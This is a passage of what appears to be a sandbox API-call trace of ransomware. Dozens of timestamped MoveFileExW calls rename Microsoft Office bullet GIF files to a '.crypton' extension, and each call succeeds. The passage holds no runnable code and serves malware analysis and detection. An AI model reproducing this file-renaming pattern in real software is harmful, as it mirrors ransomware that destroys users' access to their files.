"c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15275_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15275_.gif.crypton"), dwFlags=0x2) returned 1 [0088.155] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15276_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15276_.gif.crypton"), dwFlags=0x2) returned 1 [0088.157] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15277_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15277_.gif.crypton"), dwFlags=0x2) returned 1 [0088.160] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21294_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21294_.gif.crypton"), dwFlags=0x2) returned 1 [0088.162] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21295_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21295_.gif.crypton"), dwFlags=0x2) returned 1 [0088.163] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21296_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21296_.gif.crypton"), dwFlags=0x2) returned 1 [0088.179] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21297_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21297_.gif.crypton"), dwFlags=0x2) returned 1 [0088.183] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21298_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21298_.gif.crypton"), dwFlags=0x2) returned 1 [0088.184] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21299_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21299_.gif.crypton"), dwFlags=0x2) returned 1 [0088.186] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21300_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21300_.gif.crypton"), dwFlags=0x2) returned 1 [0088.188] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21301_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21301_.gif.crypton"), dwFlags=0x2) returned 1 [0088.191] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21302_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21302_.gif.crypton"), dwFlags=0x2) returned 1 [0088.193] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21304_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21304_.gif.crypton"), dwFlags=0x2) returned 1 [0088.196] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21306_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21306_.gif.crypton"), dwFlags=0x2) returned 1 [0088.200] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21308_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21308_.gif.crypton"), dwFlags=0x2) returned 1 [0088.204] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21310_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21310_.gif.crypton"), dwFlags=0x2) returned 1 [0088.205] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21312_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21312_.gif.crypton"), dwFlags=0x2) returned 1 [0088.208] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21314_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21314_.gif.crypton"), dwFlags=0x2) returned 1 [0088.209] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21316_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21316_.gif.crypton"), dwFlags=0x2) returned 1 [0088.212] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21327_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21327_.gif.crypton"), dwFlags=0x2) returned 1 [0088.214] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21329_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21329_.gif.crypton"), dwFlags=0x2) returned 1 [0088.217] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21331_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21331_.gif.crypton"), dwFlags=0x2) returned 1 [0088.219] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21333_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21333_.gif.crypton"), dwFlags=0x2) returned 1 [0088.223] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21335_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21335_.gif.crypton"), dwFlags=0x2) returned 1 [0088.225] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21337_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21337_.gif.crypton"), dwFlags=0x2) returned 1 [0088.227] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21339_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21339_.gif.crypton"), dwFlags=0x2) returned 1 [0088.229] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21342_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21342_.gif.crypton"), dwFlags=0x2) returned 1 [0088.231] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21343_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21343_.gif.crypton"), dwFlags=0x2) returned 1 [0088.233] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21344_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21344_.gif.crypton"), dwFlags=0x2) returned 1 [0088.235] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21364_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21364_.gif.crypton"), dwFlags=0x2) returned 1 [0088.237] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21365_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21365_.gif.crypton"), dwFlags=0x2) returned 1 [0088.239] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21366_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21366_.gif.crypton"), dwFlags=0x2) returned 1 [0088.241] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21375_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21375_.gif.crypton"), dwFlags=0x2) returned 1 [0088.243] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21376_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21376_.gif.crypton"), dwFlags=0x2) returned 1 [0088.245] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21377_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21377_.gif.crypton"), dwFlags=0x2) returned 1 [0088.247] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21398_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21398_.gif.crypton"), dwFlags=0x2) returned 1 [0088.249] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21399_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21399_.gif.crypton"), dwFlags=0x2) returned 1 [0088.251] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21400_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21400_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21400_.gif.crypton"), dwFlags=0x2) returned 1 [0088.253] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21421_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21421_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21421_.gif.crypton"), dwFlags=0x2) returned 1 [0088.255] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21422_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21422_.gif.crypton"), dwFlags=0x2) returned 1 [0088.260] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21423_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21423_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21423_.gif.crypton"), dwFlags=0x2) returned 1 [0088.262] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21433_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21433_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21433_.gif.crypton"), dwFlags=0x2) returned 1 [0088.264] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21434_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21434_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21434_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21434_.gif.crypton"), dwFlags=0x2) returned 1 [0088.266] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21435_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21435_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21435_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21435_.gif.crypton"), dwFlags=0x2) returned 1 [0088.268] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21480_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21480_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21480_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21480_.gif.crypton"), dwFlags=0x2) returned 1 [0088.270] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21481_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21481_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21481_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21481_.gif.crypton"), dwFlags=0x2) returned 1 [0088.272] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21482_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21482_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21482_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21482_.gif.crypton"), dwFlags=0x2) returned 1 [0088.274] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21503_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21503_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21503_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21503_.gif.crypton"), dwFlags=0x2) returned 1 [0088.276] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21504_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21504_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21504_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21504_.gif.crypton"), dwFlags=0x2) returned 1 [0088.279] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21505_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21505_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21505_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21505_.gif.crypton"), dwFlags=0x2) returned 1 [0088.280] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21518_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21518_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21518_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21518_.gif.crypton"), dwFlags=0x2) returned 1 [0088.282] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21519_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21519_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21519_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21519_.gif.crypton"), dwFlags=0x2) returned 1 [0088.286] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21520_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21520_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21520_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21520_.gif.crypton"), dwFlags=0x2) returned 1 [0088.290] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21533_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21533_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21533_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21533_.gif.crypton"), dwFlags=0x2) returned 1 [0088.292] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21534_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21534_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21534_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21534_.gif.crypton"), dwFlags=0x2) returned 1 [0088.294] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21535_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21535_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21535_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21535_.gif.crypton"), dwFlags=0x2) returned 1 [0088.296] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115834.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115834.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115834.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115834.gif.crypton"), dwFlags=0x2) returned 1 [0088.298] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115835.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115835.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115835.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115835.gif.crypton"), dwFlags=0x2) returned 1 [0088.300] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115836.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115836.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115836.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115836.gif.crypton"), dwFlags=0x2) returned 1 [0088.302] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115839.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115839.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115839.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115839.gif.crypton"), dwFlags=0x2) returned 1 [0088.304] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115840.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115840.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115840.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115840.gif.crypton"), dwFlags=0x2) returned 1 [0088.306] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115841.GIF" (normalized: "c:\\program files\\microsoft 